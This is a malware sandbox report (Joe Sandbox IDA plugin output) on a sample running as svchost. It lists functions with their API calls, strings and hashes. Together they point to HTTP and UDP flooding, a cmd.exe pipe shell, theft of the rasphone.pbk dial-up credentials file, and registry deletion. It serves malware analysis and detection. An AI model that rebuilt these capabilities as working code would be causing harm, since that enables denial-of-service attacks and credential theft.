API ID: wsprintf$ProcessSleepstrcspnstrstr$CountCreateExitTerminateThreadTickclosesocketrandsendstrncpy
String ID: %s %s%s$:$D$GET %s HTTP/1.1Content-Type: text/htmlHost: %sAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)$GET %s HTTP/1.1Content-Type: text/htmlHost: %s:%dAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)$h$p
API String ID: 608626276-1516392816
Opcode ID: b871695d0f88167672281d0a62d32b1ffbe018324d653222c6851f6354d2d4e0
Instruction ID: 9f3ba97073229d13ec63e34ca9b9dd0f15fe347d795de81fe847918e1de25131
Opcode Fuzzy Hash: b871695d0f88167672281d0a62d32b1ffbe018324d653222c6851f6354d2d4e0
Instruction Fuzzy Hash: 9E910A726483456BE324CA74CC01BEB77D9BBD4304F444A3EF656932C1DEB89A088797

Function 00403160 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 249stringnetworksleepCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00403230
strstr.MSVCRT ref: 00403257
strcspn.MSVCRT ref: 00403276
strncpy.MSVCRT ref: 00403286
strcspn.MSVCRT ref: 00403291
htons.WS2_32 ref: 0040332F
sprintf.MSVCRT ref: 00403382
wsprintfA.USER32 ref: 004033C2
socket.WS2_32(00000002,00000001,00000006), ref: 004033E4
connect.WS2_32(00000000,?,00000010), ref: 004033F4
setsockopt.WS2_32 ref: 00403419
setsockopt.WS2_32(00000000,0000FFFF,00001001,?,00000004), ref: 00403435
send.WS2_32(00000000,?,?,00000000), ref: 00403448
Sleep.KERNEL32(00000001,?,00000000), ref: 00403450
closesocket.WS2_32(00000000), ref: 00403456
Sleep.KERNEL32(0000001E,?,00000000), ref: 0040345E
closesocket.WS2_32(?), ref: 00403474
ExitThread.KERNEL32 ref: 0040347C

Strings

:, xrefs: 00403224
h, xrefs: 00403211
p, xrefs: 00403219
GET %s HTTP/1.1Accept: */*Accept-Language: zh-cnAccept-Encoding: gzip, deflateHost: %s:%dCache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)Referer: http://%sConnection: Keep-Alive, xrefs: 004033BC

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Sleepclosesocketsetsockoptstrcspnstrstr$ExitThreadconnecthtonssendsocketsprintfstrncpywsprintf
String ID: :$GET %s HTTP/1.1Accept: */*Accept-Language: zh-cnAccept-Encoding: gzip, deflateHost: %s:%dCache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)Referer: http://%sConnection: Keep-Alive$h$p
API String ID: 3493237639-3655424657
Opcode ID: 95625cd12472ef4df8072699ead95e46ddfd00ba01251608deedb5f222185e27
Instruction ID: 91368e2baecf4869bc7a8a7be0628d272c116f6169c35018f5eb78df530a1d7f
Opcode Fuzzy Hash: 95625cd12472ef4df8072699ead95e46ddfd00ba01251608deedb5f222185e27
Instruction Fuzzy Hash: 8381C3312483405FD324DB28CC45BEB7BE5BBC4314F444A2EF596A72D1DBB89A09C79A

Function 004108E0 Relevance: 38.6, APIs: 5, Strings: 17, Instructions: 92registrystringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT(?,00000,?,00000000,00000000,?,?,?,?,?,?,?,?,00410E74,?,00000000), ref: 004108FF
wsprintfA.USER32 ref: 00410922
RegOpenKeyA.ADVAPI32 ref: 004109D0
RegDeleteKeyA.ADVAPI32(00000055,?), ref: 004109EE
RegCloseKey.ADVAPI32(00000055), ref: 004109FB

Strings

o, xrefs: 004109A0
a, xrefs: 0041098D
i, xrefs: 00410992
u, xrefs: 004109A5
n, xrefs: 00410997
m, xrefs: 00410988
r, xrefs: 004109C2
D, xrefs: 0041097E
U, xrefs: 004109B4
S, xrefs: 00410979
S, xrefs: 00410974
t, xrefs: 004109AF
n, xrefs: 004109AA
e, xrefs: 004109BD
00000, xrefs: 004108EA, 004108F9
00000%s, xrefs: 0041091C
o, xrefs: 00410983

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseDeleteOpenstrncmpwsprintf
String ID: 00000$00000%s$D$S$S$U$a$e$i$m$n$n$o$o$r$t$u
API String ID: 3243141281-189977666
Opcode ID: 74a68e5aeb33abc32a14b77bb7887f6d5e721d78f67a9ae927fff2a69ef9ada6
Instruction ID: ca2c554a3e6cf7a4cdfa35d146e2fbfd8c5762c57d608f7526b18833e928f5c5
Opcode Fuzzy Hash: 74a68e5aeb33abc32a14b77bb7887f6d5e721d78f67a9ae927fff2a69ef9ada6
Instruction Fuzzy Hash: 4E316B6110D3C0AED301C7789884B9FBFC15FA6648F484A9DF4D857292D2A98688C77B

Function 00403670 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 240networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00403686
socket.WS2_32 ref: 004036CB
setsockopt.WS2_32(00000000,00000000,00000002,?,00000004), ref: 004036E0

Part of subcall function 00401F30: inet_addr.WS2_32(?), ref: 00401F36
Part of subcall function 00401F30: gethostbyname.WS2_32(?), ref: 00401F41

htons.WS2_32(00000035), ref: 00403706
rand.MSVCRT ref: 0040373A
inet_addr.WS2_32 ref: 00403765
htons.WS2_32(00000035), ref: 00403771
rand.MSVCRT ref: 00403778
htons.WS2_32 ref: 0040378C
htons.WS2_32(0000001F), ref: 00403795
rand.MSVCRT ref: 004037A1
htons.WS2_32(00000001), ref: 004037C3
htons.WS2_32(00000000), ref: 004037DB
htons.WS2_32(00000000), ref: 004037F6
htons.WS2_32(00000000), ref: 0040380E
rand.MSVCRT ref: 004038BC
sendto.WS2_32(?,?,00000033,00000000,?,00000010), ref: 0040399F
WSACleanup.WS2_32 ref: 004039E1

Strings

a, xrefs: 00403723
a, xrefs: 0040371B
E, xrefs: 00403730

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: htons$rand$inet_addr$CleanupStartupgethostbynamesendtosetsockoptsocket
String ID: E$a$a
API String ID: 90748819-4213770546
Opcode ID: c067de3e6c7435fb08991a29beec101259360a699d403df62d6b54582968b0ba
Instruction ID: 645667f11f08720504ea0f6a572707082a5686fedb159cfc49b69b94e3f0a5e6
Opcode Fuzzy Hash: c067de3e6c7435fb08991a29beec101259360a699d403df62d6b54582968b0ba
Instruction Fuzzy Hash: EE91767161C3819AE320DF68C885BABBBE1AFC5704F04892EF59587391D6B9C5088B5B

Function 00412130 Relevance: 35.1, APIs: 8, Strings: 12, Instructions: 90COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(0000002A,00000000,?), ref: 0041214E

Strings

3, xrefs: 0041218F
i, xrefs: 004121BE
L, xrefs: 004121B9
d, xrefs: 0041219E
k, xrefs: 0041217D
F, xrefs: 004121B0
b, xrefs: 004121C3
n, xrefs: 00412186
2, xrefs: 00412194
a, xrefs: 004121CC
., xrefs: 00412199
y, xrefs: 004121D5

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: OpenProcess
String ID: .$2$3$F$L$a$b$d$i$k$n$y
API String ID: 3743895883-2751716537
Opcode ID: 6b7036c62fa35ba880eae2b91082f0ff6d28961a3145a8e892223f4ad96627d0
Instruction ID: d3983621b00a3af849e14844177cb67ac6f3a030e21bd606b7d4d2f955502525
Opcode Fuzzy Hash: 6b7036c62fa35ba880eae2b91082f0ff6d28961a3145a8e892223f4ad96627d0
Instruction Fuzzy Hash: F2318B2204D3C1AAD312DB6C9848BDFBFD45FE6614F08898DF4C457292C2A9864DC7B7

Function 0040DAB0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 244processpipeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A420: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040964D,0000000A,00000000,0040E840), ref: 0040A43E

CreatePipe.KERNEL32 ref: 0040DB5D
CloseHandle.KERNEL32(?), ref: 0040DB74
CloseHandle.KERNEL32(?), ref: 0040DB81
CreatePipe.KERNEL32(0000004D,00000049,00000045,00000000), ref: 0040DB94
CloseHandle.KERNEL32(?), ref: 0040DBAB
CloseHandle.KERNEL32(?), ref: 0040DBB8
GetStartupInfoA.KERNEL32(0000000C), ref: 0040DBE1
GetSystemDirectoryA.KERNEL32 ref: 0040DC18
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?), ref: 0040DC69
GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DC9C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?), ref: 0040DCF3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD07
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD0D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD13
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0040DD18

Strings

D, xrefs: 0040DBFD
\Sysnative\cmd.exe, xrefs: 0040DCA2
\cmd.exe, xrefs: 0040DC1E

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseHandle$Create$DirectoryPipeProcess$EventInfoStartupSystemWindows
String ID: D$\Sysnative\cmd.exe$\cmd.exe
API String ID: 2581961517-1301656530
Opcode ID: 04ef82e0c6faab942139e573296b962f5a6fdcb133d9944165315c58a70344ca
Instruction ID: a27eee1932fb49d36f5a9f6910a529cd32f85c87c073c690a30e9adffd0f4a62
Opcode Fuzzy Hash: 04ef82e0c6faab942139e573296b962f5a6fdcb133d9944165315c58a70344ca
Instruction Fuzzy Hash: 8591D471644704ABD724CF64CC81B9BBBE5EFC8710F104A2EF655A72D0DBB4A9048B9A

Function 00403F40 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 142networksleepCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00403F57
gethostname.WS2_32(?,00000104), ref: 00403F6E
gethostbyname.WS2_32(?), ref: 00403F7C
htons.WS2_32 ref: 00403FB5
inet_addr.WS2_32 ref: 00403FDA
htons.WS2_32(00001544), ref: 00403FEB
htons.WS2_32(00000000), ref: 00403FFA
htons.WS2_32(00000408), ref: 00404006
WSASocketA.WS2_32(00000002,00000003,00000011,00000000,00000000,00000000), ref: 004040AA
setsockopt.WS2_32(00000000,00000000,00000002,?,00000004), ref: 004040C7
htons.WS2_32(00000000), ref: 004040E1
inet_addr.WS2_32(00424EF0), ref: 004040ED
sendto.WS2_32(00000000,?,0000041C,00000000,00000002,00000010), ref: 00404116
Sleep.KERNEL32(0000000F), ref: 0040411D
closesocket.WS2_32(00000000), ref: 0040412C
WSACleanup.WS2_32 ref: 00404132

Strings

AAAA, xrefs: 00403F98
E, xrefs: 00403FAB

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: htons$inet_addr$CleanupSleepSocketStartupclosesocketgethostbynamegethostnamesendtosetsockopt
String ID: AAAA$E
API String ID: 68766432-3053159813
Opcode ID: 6c49f11fa23f998a9192f3b22bd9637d0cfa9b9e7a5cdc08b433414e82abf832
Instruction ID: 1e7bc7ce8118ed8ed6e4db7ad01b0657ee93b40946a472d054297ca9338e3b91
Opcode Fuzzy Hash: 6c49f11fa23f998a9192f3b22bd9637d0cfa9b9e7a5cdc08b433414e82abf832
Instruction Fuzzy Hash: 06518B712583449BE310CF60DC85B9BBBE5FFC9704F40882DF684AB291D7B59909CB9A

Function 00410AE0 Relevance: 31.6, APIs: 5, Strings: 13, Instructions: 98registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00410BAD
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00410BC5
RegDeleteKeyA.ADVAPI32(?,?), ref: 00410BE4
RegCloseKey.ADVAPI32(?), ref: 00410BF1
LocalFree.KERNEL32(?), ref: 00410C19

Strings

o, xrefs: 00410B75
a, xrefs: 00410B97
m, xrefs: 00410B66
o, xrefs: 00410B61
r, xrefs: 00410B8D
u, xrefs: 00410B7A
a, xrefs: 00410B6B
m, xrefs: 00410B9C
N, xrefs: 00410B92
i, xrefs: 00410B70
D, xrefs: 00410B5C
U, xrefs: 00410B84
t, xrefs: 00410B7F

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseDeleteFreeLocalOpenwsprintf
String ID: D$N$U$a$a$i$m$m$o$o$r$t$u
API String ID: 321629408-3882932831
Opcode ID: b3c8811a65ef57232c49281441989d1ad82fea9bebdf9b1e98d4878de21cc2d8
Instruction ID: 3bef1d6cf251bba19f75b8a3f0d5b0c98c430e2bdbe5ea1fb1caa72e107fda60
Opcode Fuzzy Hash: b3c8811a65ef57232c49281441989d1ad82fea9bebdf9b1e98d4878de21cc2d8
Instruction Fuzzy Hash: A541E46214E3C1DED302CB689884A8BBFD65BF6608F48499DF4C857242C6A9865CC76B

Function 00406530 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 206stringmemoryfileCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,00000001), ref: 00406549
LocalAlloc.KERNEL32(00000040,00000400), ref: 004065B8
GetFileAttributesA.KERNEL32(?), ref: 004065C8
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004065F1
GetFileSize.KERNEL32(00000000,00000000), ref: 00406600
malloc.MSVCRT ref: 0040660D
ReadFile.KERNEL32(?,00000000,?,00000135,00000000), ref: 00406633
CloseHandle.KERNEL32(?), ref: 00406640
lstrlenA.KERNEL32(?), ref: 004066E7
lstrlenA.KERNEL32(?), ref: 00406706
lstrlenA.KERNEL32(?), ref: 00406715
lstrlenA.KERNEL32(?), ref: 00406737
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 00406745
lstrlenA.KERNEL32(?), ref: 00406764
lstrlenA.KERNEL32(?), ref: 00406781
LocalReAlloc.KERNEL32(00000000,-00000002,00000042), ref: 0040678E

Strings

Version, xrefs: 00406691

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$File$AllocLocal$AttributesCloseCreateDirectoryHandleReadSizeWindowsmalloc
String ID: Version
API String ID: 1885334980-1889659487
Opcode ID: 8da0f35c4ac55ecb3e9fbbf2a56e3027c17e61ae0aa6728ee39813948afcdb98
Instruction ID: 83af0223260908a4bcdb641bd9516a4dcab3499b79bc750a5d3cb6a689e3fd4d
Opcode Fuzzy Hash: 8da0f35c4ac55ecb3e9fbbf2a56e3027c17e61ae0aa6728ee39813948afcdb98
Instruction Fuzzy Hash: AB61D5716402046BD728DF74DC85BEB7695FB88310F44463DFE569B2C2DEB49904C664

Function 00407040 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 156registrystringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 00407069
RegOpenKeyExA.ADVAPI32(80000000,00000000,00000000,000F003F,?), ref: 0040709C

Strings

D, xrefs: 004071D0
%s\shell\open\command, xrefs: 004070F3
"%1, xrefs: 00407162

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Openstrrchr
String ID: "%1$%s\shell\open\command$D
API String ID: 1564636448-1634606264
Opcode ID: 8112fede83d02805038b956bb2cfef9b3d4a2b7c3abfec3988317bffb97b034e
Instruction ID: 35304c800ea9ae078c8e8dc8a9f282461c619e177cc023b74aa2cb8812790faa
Opcode Fuzzy Hash: 8112fede83d02805038b956bb2cfef9b3d4a2b7c3abfec3988317bffb97b034e
Instruction Fuzzy Hash: 1741A472648305ABE714DB50DC81FEBB7ECEBC4305F008D2EBA5496280E679E64D8766

Function 0040C660 Relevance: 27.2, APIs: 18, Instructions: 211COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00000000), ref: 0040C723

Part of subcall function 0040CFC0: ReleaseDC.USER32(?,?), ref: 0040CFDD
Part of subcall function 0040CFC0: GetDesktopWindow.USER32 ref: 0040CFE3
Part of subcall function 0040CFC0: GetDC.USER32(00000000), ref: 0040CFF0

GetDesktopWindow.USER32 ref: 0040C772
GetDC.USER32(00000000), ref: 0040C77F
GetTickCount.KERNEL32 ref: 0040C796
GetSystemMetrics.USER32(00000000), ref: 0040C7C0
GetSystemMetrics.USER32(00000001), ref: 0040C7C7
CreateCompatibleDC.GDI32(?), ref: 0040C7E5
CreateCompatibleDC.GDI32(?), ref: 0040C7EE
CreateCompatibleDC.GDI32(00000000), ref: 0040C7F7
CreateCompatibleDC.GDI32(00000000), ref: 0040C7FD
CreateDIBSection.GDI32(?,?,00000000,0000005C,00000000,00000000), ref: 0040C85C
CreateDIBSection.GDI32(?,?,00000000,00000060,00000000,00000000), ref: 0040C86D
CreateDIBSection.GDI32(?,?,00000000,00000078,00000000,00000000), ref: 0040C881
SelectObject.GDI32(?,?), ref: 0040C897
SelectObject.GDI32(?,?), ref: 0040C8A1
SelectObject.GDI32(?,?), ref: 0040C8B1
SetRect.USER32(00000034,00000000,00000000,?,?), ref: 0040C8C1
??2@YAPAXI@Z.MSVCRT ref: 0040C8D0

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Create$Compatible$ObjectSectionSelect$DesktopMetricsSystemWindow$??2@CountCursorLoadRectReleaseTick
String ID:
API String ID: 339399666-0
Opcode ID: 5b059f7fa80ac41d3a6353915896ba1872eac0f97dbe510ddd5d280a9680908e
Instruction ID: d0450a0e3ef1fcc2f8dfa7dde84e493714321f03d7e01fa109578092b46eabae
Opcode Fuzzy Hash: 5b059f7fa80ac41d3a6353915896ba1872eac0f97dbe510ddd5d280a9680908e
Instruction Fuzzy Hash: B281E4B0504B459FD320DF66C884A67FBE9FB88704F008A2DE59A87750DB79F8058F95

Function 00404F40 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 89stringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00404F5E
strchr.MSVCRT ref: 00404F70
lstrcpyA.KERNEL32(00000001), ref: 00404F7A
lstrcatA.KERNEL32(?,?), ref: 00404F8F
lstrcatA.KERNEL32(?,\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk), ref: 00404F9B
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000023,00000000), ref: 00404FAB
wsprintfA.USER32 ref: 00404FCB
??2@YAPAXI@Z.MSVCRT ref: 00404FE9
GetPrivateProfileSectionNamesA.KERNEL32(00000000,00001000,00000400), ref: 00405014
lstrlenA.KERNEL32(00000000), ref: 0040502C
??3@YAXPAX@Z.MSVCRT ref: 0040504A

Strings

Documents and Settings\, xrefs: 00404F64
\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 00404F95
Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 00404FB8
%s\%s, xrefs: 00404FC5

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrcat$??2@??3@DirectoryFolderNamesPathPrivateProfileSectionSpecialWindowslstrcpylstrlenstrchrwsprintf
String ID: %s\%s$Documents and Settings\$Microsoft\Network\Connections\pbk\rasphone.pbk$\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk
API String ID: 1834765725-3675501808
Opcode ID: 31fdb58075647fb39a62e38564e632c1cdf9f939f74f5fb417239b60986e7d94
Instruction ID: 784fe8a29c02d69bb80c99976390cbde2bd334699bca14689ade2d3afea7a76d
Opcode Fuzzy Hash: 31fdb58075647fb39a62e38564e632c1cdf9f939f74f5fb417239b60986e7d94
Instruction Fuzzy Hash: AF31D5B1544305ABD310DF50EC85FEBB7E8FB88704F00492DFA8597281D678EA08CBA6

Function 0040DDC0 Relevance: 25.6, APIs: 17, Instructions: 76pipethreadsynchronizationCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DDD6
TerminateProcess.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DDDE
TerminateThread.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DDEA
WaitForSingleObject.KERNEL32(?,000007D0,?,?,00408CE5,?), ref: 0040DDF5
TerminateThread.KERNEL32(?,00000000,?,?,00408CE5,?), ref: 0040DE01
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE11
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE1B
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE25
DisconnectNamedPipe.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE2F
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE3B
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE41
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE47
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE4D
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE53
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE59
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE5F
CloseHandle.KERNEL32(?,?,?,00408CE5,?), ref: 0040DE65

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseHandle$DisconnectNamedPipeTerminate$Thread$ObjectProcessSingleWait
String ID:
API String ID: 1450516946-0
Opcode ID: 850d326ea46df3cecc3ca88c0bfba122563837e82b026c41bea47239937ef741
Instruction ID: 79661abfb3e4e2d274caa9c6e15e86329618487af38c88c2aba1971ebd6fb8ba
Opcode Fuzzy Hash: 850d326ea46df3cecc3ca88c0bfba122563837e82b026c41bea47239937ef741
Instruction Fuzzy Hash: B821CF756407046BD630EFBADC84E57F3EDAF98610B114E1EE146D36A0CAB8F8058E64

Function 00404990 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 145networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401F30: inet_addr.WS2_32(?), ref: 00401F36
Part of subcall function 00401F30: gethostbyname.WS2_32(?), ref: 00401F41

htons.WS2_32(00000000), ref: 004049E3
WSASocketA.WS2_32(00000002,00000003,000000FF,00000000,00000000,00000001), ref: 004049F9
wsprintfA.USER32 ref: 00404AB6
htons.WS2_32(0000041C), ref: 00404AC4
inet_addr.WS2_32(?), ref: 00404AD0
htons.WS2_32(00000001), ref: 00404AF7
htons.WS2_32(00000000), ref: 00404B06
htons.WS2_32(00000408), ref: 00404B12
sendto.WS2_32(?,?,0000041C,00000000,?,00000010), ref: 00404B69
Sleep.KERNEL32(00000028), ref: 00404B78

Strings

AAAA, xrefs: 004049B8
%d.%d.%d.%d, xrefs: 00404AB0
E, xrefs: 00404A44

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: htons$inet_addr$SleepSocketgethostbynamesendtowsprintf
String ID: %d.%d.%d.%d$AAAA$E
API String ID: 2156772529-475727578
Opcode ID: fe6f960c86526e522fea6aa4df8149f9bda08896508565927fe025aa52b9fbda
Instruction ID: b6dc25934b8576157de8ac1c8450bf8c30146f5e082902b488b8a419d72029f5
Opcode Fuzzy Hash: fe6f960c86526e522fea6aa4df8149f9bda08896508565927fe025aa52b9fbda
Instruction Fuzzy Hash: 0351D1B0688341AAE310EF64DC45B6BBBE5EFD4704F40083DFA8597291D6B485088BAF

